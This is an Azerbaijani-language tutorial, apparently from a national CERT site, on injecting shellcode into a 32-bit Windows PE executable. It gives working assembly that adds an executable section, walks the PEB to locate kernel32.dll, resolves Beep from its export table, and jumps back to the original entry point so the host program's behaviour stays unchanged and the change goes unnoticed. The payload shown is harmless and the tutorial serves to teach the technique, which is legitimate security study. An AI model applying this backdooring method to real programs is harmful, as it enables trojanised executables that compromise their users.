Bu məqalədə göstərilən metod tamamı ilə məlumat xarakterlidir və məqalədə bəhs edilən nümunə fayl üzərində test edilmişdir!
PE fayl formatı windows əməliyyat sisteminin ən kritik hissəsidir desək yəgin ki, çox şişirdilmiş bir fikir olmaz. Çün ki, əməliyyat sistemində icra edilə bilən fayllar (proqram təminatları, kernel sürücüləri, servislər, DLL kitabxana faylları) PE (Portable Executable) fayl formatındadır. Format haqqında daha ətraflı məlumat üçün https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
Məqalədə sizlərə PE fayl içərisində shellkodu necə yerləşdirə bilərik bu haqda məlumat veriləcək. Kodumuzu yerləşdirməzdən öncə hədəf haqqında məlumat almalıyıq. Burada bizim hədəfimiz PE formatına malik icra edilə bilən fayllardır. Məqalədə kod yerləşdirmək üçün 32 bitlik PE fayldan istifadə ediləcək. Lakin oxşar metod ilə 64bit formatda olan pe fayllara da müdaxilə edə bilərsiniz. Sözü gedən əməliyyatı daha yaxşı anlamağınız üçün assembly dilində kiçik bir kod yazıb, compile edərək nümunə olaraq bu fayl üzərində işləyəcəyik. Compiler olaraq fasm (flat assembler) istifadə ediləcəkdir. Ekrana MessageBoxA funksiyası ilə kiçik bir mesaj verən kod hissəsi:
format pe console
entry main
section '.text' code readable executable
main:
push 0
push _title
push mesaj
push 0
call [MessageBoxA]
push 0
call [ExitProcess]
section '.data' data readable writeable
mesaj db 'mrl.cert.gov.az', 0
_title db 'PE32', 0
section '.idata' import data readable writeable
dd 0,0,0,RVA kernel_name,RVA kernel_table
dd 0,0,0,RVA user_name,RVA user_table
dd 0,0,0,0,0
kernel_table:
ExitProcess dd RVA _ExitProcess
dd 0
user_table:
MessageBoxA dd RVA _MessageBoxA
dd 0
kernel_name db 'KERNEL32.DLL',0
user_name db 'USER32.DLL',0
_ExitProcess dw 0
db 'ExitProcess',0
_MessageBoxA dw 0
db 'MessageBoxA',0
section '.reloc' fixups data readable discardable
Burada .text bölməsində icra edilən kodlar yazılıb. PELoader pe faylını işə salarkən AddressOfEntryPoint dəyərinə baxaraq ImageBase üzərinə AddressOfEntrPoint dəyərini qoyur və EIP (Extended Instruction Pointer) registerinə bu adresi yazır və kodlar bu adresdən başlayaraq icra edilir. AdressOfEntryPoint isə .text bölməsində yerləşən kodların başlanğıc adresinə işarə edir. MessageBoxA və ExitProcess funksiyalarının çağrıla bilməsi üçün isə .idata bölməsi lazımı kitabxana funksiyalarını import edir. Kodları disasm edərək daha yaxşı anlaya bilərik.
Flat assembleri seçməyimin əsas məqsədi digər compilerlərdən fərqli olaraq faylın içərisinə əlavə heç bir kod yazmamasıdır. Bu shellkod yerləşdirmə zamanı bizim əlimizi rahatlaşdıracaq. Kodun işlədiyindən əmin olduqdan sonra gəlin PE formatına diqqət yetirək. PE formatında bizə ilkin olaraq lazım olan dəyər AddressOfEntryPoint dəyəridir. Bu field NT Header-OptionalHeader bölməsində yerləşir.
Hexa editor ilə burada nə olduğunu görmək üçün 0x00001000 adresinə gətməyimiz lazımdır. P.S Bu adress pe içərisində raw offset olaraq deyil RVA (relative virtual address) olaraq saxlanılır. Yəni fayl açıb bu offsetə getmək istədiyiniz zaman bu sizi kodların olduğu offsetə aparmayacaqdır. Bunun üçün rva adresi file offset -ə convert edərək hexa editor ilə baxırıq.
Şəkildə gördüyünüz baytlar əslində bizim yazdığımız .text bölməsində olan kodlardır.
Burada sırası ilə 0x402010 “PE32” mətninin olduğu adresə pointerdir. 0x402000 “mrl.cert.gov.az” mətninin olduğu adresə pointerdir. 0x403044 user32.MessageBoxA funksiyasına, 0x40303c isə KERNEL32.DLL.ExitProcess funksiyasına pointerdir. Kodların necə icra edildiyi haqqında məlumat aldıqdan sonra keçirik öz shell kodumuzu hədəf faylının içərisinə yerləşdirilməsi prosesinə. Burada önəmli olan məqam yerləşdirilən shell kodumuzun icrasından sonra proqramın normal fəaliyyətinə davam etməsidir. Yəni bizim shellkodumuz icra edildikdən sonra proqram orijinal kodlarını icra etməlidir. Bunun üçün shellkodumuza diqqət ilə yazmalıyıq.
Hədəf fayl içərisinə yerləşdiriləcək shell kodun hazırlanması.
Nomral flow zamanı proqramın ekrana MessageBoxA funksiyası ilə mesaj verdiyini gördünüz. Bizim yazdığımız shellkodu eyni şəkildə ekrana MessageBoxA funksiyası ilə başqa bir mesaj göstərdikdən sonra proqram orijinal variantda olduğu kimi “mrl.cert.gov.az” mesajını verməlidir. Bunu qarşı tərəfin diqqətini çəkməmək üçün mütləqdir. Bunun üçün shellkodumuz içərisində orijinal kodların olduğu adresi saxlamalıyıq. Yəni bizim shellkodumuz icra edildikdən sonra EIP -i orijinal kodların olduğu adresə yönləndirməlidir. Bunu test etmək üçün pe faylı içərisində yeni bir bölmə yaradaraq içərisinə bizi orijinal kodların olduğu bölməyə yönləndirəcək kodu yazırıq və test edirik. Yeni yaradılacaq bölməyə lazımı bölmə bayraqlarını (executable, read, write, code) set etdikdən sonra yazığımız shellkodu bu bölməyə copy-paste edirik.
use32
call tmp
tmp:
pop eax
sub eax, 0x5000
sub eax, 0x5
add eax, 0x1000
jmp eax
Aşağıda ki, məlumatlar bizə lazım olacaqdır.
Orijinal EP = 0x00001000
Shell section virtual address = 0x00005000
Bu məlumatları götürdükdən sonra orijinal EP yə jump edəcək kiçik bir shell kod yazaraq və test edirik. Lakin burada kiçik bir problemimiz var. Orijinal kodlar ilə bizə yeni yaratdığımız shellkodlar başqa bölmədə olduğu üçün bu bölməyə jump etməyimiz üçün kiçik bir metod istifadə etməliyik. Birbaşa EIP registerinə müdaxilə edə bilməyəcəyimiz üçün bizə ilk öncə cari bölməmizin base adresi lazımdır. Bu adresi call instruction ilə öyrənirik. Call tmp ilə tmp sətrinə call edirik.
Daha sonra pop eax instruction ilə stack üzərindən cari bölmənin base adresini + 5(call instruction ölçüsü) bayt olaraq əldə edirik. Daha sonra shell bölməsinin virtual adresini və call instruction ölçüsünü əldə etdiyimiz adres dəyərindən çıxırıq. Əldə etdiyimiz dəyər bizə faylın load adresini (imagebase) verir. Bundan sonra isə bu dəyərin üzərinə orijinal kodların olduğu EP (entrypoint) dəyərini əlavə edirik və jmp instruction ilə bu adresə jump edərək orijinal kodların icra olunmasını təmin edirik.
Kodların işlədiyininə əmin olduqdan sonra keçirik əsas shellkodumuzu yazmağa. Məqalənin başında qeyd edildiyi kimi testlər yalnız nümunə faylı üzərində həyata keçirilmişdir. Buna görə sistemə, hədəf faylına görə shellkod üzərində dəyişiklik etmək vacibdir. Lakin məqalədə əsas məqsədimiz sizi bu tip metodlar ilə tanış etmək olduğu üçün ümumi(generic shellcoding) metodlardan istifadə edilməyəcəkdir. İlk öncə nələr etməliyik ona baxaq. Bizə lazım olan orijinal kodların bizə göstərdiyi (MessageBoxA funksiyası üzərindən) mesajdan öncə KERNEL32.DLL.Beep funksiyası ilə kiçik bir alert(səs) verərək daha sonra isə orijinal EP -ə tullanmaq. Əlbətdə Windows XP əməliyyat sistemində statik adreslərdən istifadə edərək daha rahat shellkod yaza bilərdik. Lakin ASLR xüsusiyyəti ilə birlikdə artıq bu metodun qarşısı alındığına görə bizə dinamik olaraq funksiya adreslərini öyrənib shellkodumuzu icra etmək lazımdır. Bunun üçün PEB (Process Environment Block) müraciət etmək məcburiyyətindəyik. Daha öncəki məqalələrimizdən bildiyiniz kimi prosesin load etdiyi modullar PEB stukturuna saxlanılır. Bu struktur üzərindən load edilən modullar arasında KERNEL32.DLL modulunu axtarıb tapdıqdan sonra kitabxananın export tablosunda Beep funksiyasının adresini öyrənərək shellkodumuzu icra etməliyik.
İlk öncə debuggər ilə hədəf faylımız load etdiyi modulların siyahısına baxırıq.
Burada load edilən 3. modul bizə lazım olan KERNEL32.DLL moduludur. InLoadOrderLinks listi üzərində gəzərək 3. modulu (KERNEL32.DLL) parse edərək export tablosundan Beep funksiyasının adresini götürüb call etməliyik.
İlk öncə PEB.Ldr üzərindən KERNEL32.DLL adresini götürməliyik.
InLoadOrderLinks baxsaq ardıcıl olaraq hədəf fayl , NTDLL.DLL, KERNEL32.DLL modullalarının siyahısının saxlandığını görə bilərik.
PEB + 0xC bizə Ldr adresini verir. Bu adresin üzərinə 0xC əlavə etdiyimiz zaman isə bizə InLoadOrderLinks adresini verəcəkdir.
Burada LIST_ENTRY struktunun 3. elementi KERNEL32.DLL haqqında məlumatların olduğu LDR_DATA_TABLE_ENTRY adresdir (0xf43a60)
Bu adresin üzərinə 0x18 gəldiyimiz zaman isə bizə KERNEL32.DLL load adresini verir. Geriyə qalan KERNEL32.DLL export tablosunu parse edib Beep funksiyasını tapmaq qalır. KERNEL32.DLL load adresini götürən asm kodlar.
xor eax, eax
mov eax, [fs:0x30] ; PEB adresi
mov eax, [eax + 0xc] ;Ldr
mov eax, [eax + 0xc] ; InLoadOrderModuleList
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x018] ;kernel32.dll load adresi
Export tablosuna getmək üçün dinamik olaraqda kod yaza bilerik. Lakin məqalənin uzanmaması üçün statik olaraq davam edirik. KERNEL32.DLL (Windows 10 x64) 0x170 offsetində export qovluğunun (IMAGE_EXPORT_DIRECTORY) adresi saxlanılır. Bu qovluqda isə 9. field export edilən funksiyaların adreslərinin saxlanıldığı bölgəyə pointerdir.
Məqaləni qısa tutmaq üçün bu adresi deyil export edilən funksiya adlarının olduğu bölgəyə pointer verən 0x20 offsetində olan AddressOfNames fieldinə müraciət edəcəyik. Burada tək-tək funksiya adlarını yoxlayaraq Beep stringinə rast gəldiyimiz index ilə AddressOfFunctions bölgəsində index-ə qarşılıq gələn funksiyanı çağıracağıq. Ilk olaraq aşağıda ki, kodlar ilə Beep funksiyasının AddressOfFunctions içərisində yerini alırıq.
main:
xor eax, eax
mov eax, [fs:0x30] ; PEB adresi
mov eax, [eax + 0x00c] ;Ldr
mov eax, [eax + 0xc] ; InLoadOrderModuleList
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x018] ;kernel32.dll load adresi
mov ebx, eax
;ebx = kernel32.dll load adresi
add eax, 0x170
mov edx, ebx
add edx, [eax] ; edx = kernel32.ExportDir adres
mov edx, [edx + 0x20]
add edx, ebx ;edx = pointer-> NameOfFunctions
xor ecx, ecx
find_beep:
mov ebp, edx
mov eax, [ebp + ecx * 4]
inc ecx
add eax, ebx
cmp dword [eax], 0x70656542 ;0x70656542 = 'Beep'
jz founded
jmp find_beep
Indexi tapdıqdan sonra isə AdressOfFunctions siyahısı içərisində həmin index -ə qarşılıq gələn funksiya adresini götürüb call edirik.
founded:
inc ecx
xor eax, eax
mov eax, ebx
add eax, 0x170
mov edx, [eax]
add edx, ebx
mov edx, [edx + 0x1c]
add edx, ebx
mov eax, [edx + ecx * 4]
add eax, ebx
push 0x100
push 0x200
call eax
Daha sonra shell kodumuzu .shell bölməsinə yazırıq ve test edirik. Nəticə müsbətdir.
Geriyə qalır shell kodun icrasından sonra orijinal kodların olduğu adresə tullanmaqdır. Bunu əməliyyatı həyata keçirən assembly kodlar: P.S Kodlar optimizasiya edilməmişdir və yalnız məqalədə yer alan hədəf fayl üzərində test edilmişdir.
use32
call main
main:
xor eax, eax
mov eax, [fs:0x30] ; PEB adresi
mov eax, [eax + 0x00c] ;Ldr
mov eax, [eax + 0xc] ; InLoadOrderModuleList
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 0x018] ;kernel32.dll load adresi
mov ebx, eax
;ebx = kernel32.dll load adresi
add eax, 0x170
mov edx, ebx
add edx, [eax] ; edx = kernel32.ExportDir adres
mov edx, [edx + 0x20]
add edx, ebx ;edx = pointer-> NameOfFunctions
xor ecx, ecx
find_beep:
mov ebp, edx
mov eax, [ebp + ecx * 4]
inc ecx
add eax, ebx
cmp dword [eax], 0x70656542 ;0x70656542 = 'Beep'
jz founded
jmp find_beep
founded:
inc ecx
xor eax, eax
mov eax, ebx
add eax, 0x170
mov edx, [eax]
add edx, ebx
mov edx, [edx + 0x1c]
add edx, ebx
mov eax, [edx + ecx * 4]
add eax, ebx
push 0x100
push 0x200
call eax
call oep
oep:
pop eax
sub eax, 0x5000
sub eax, 0x5
sub eax, 0x63
add eax, 0x1000
jmp eax
Fasm compiler ilə shellkodu compile edib hədəf faylın .shell bölməsinə yazıb icra etdikdə ilk olaraq Beep funksiyası ilə səs daha sonra MessageBoxA funksiyası ilə isə mesaj verildi.
İstinadlar
[1] https://flatassembler.net/docs.php
[2] https://docs.microsoft.com/en-us/windows/win32/debug/pe-format
[3] https://0xrick.github.io/win-internals/pe2
[4] https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb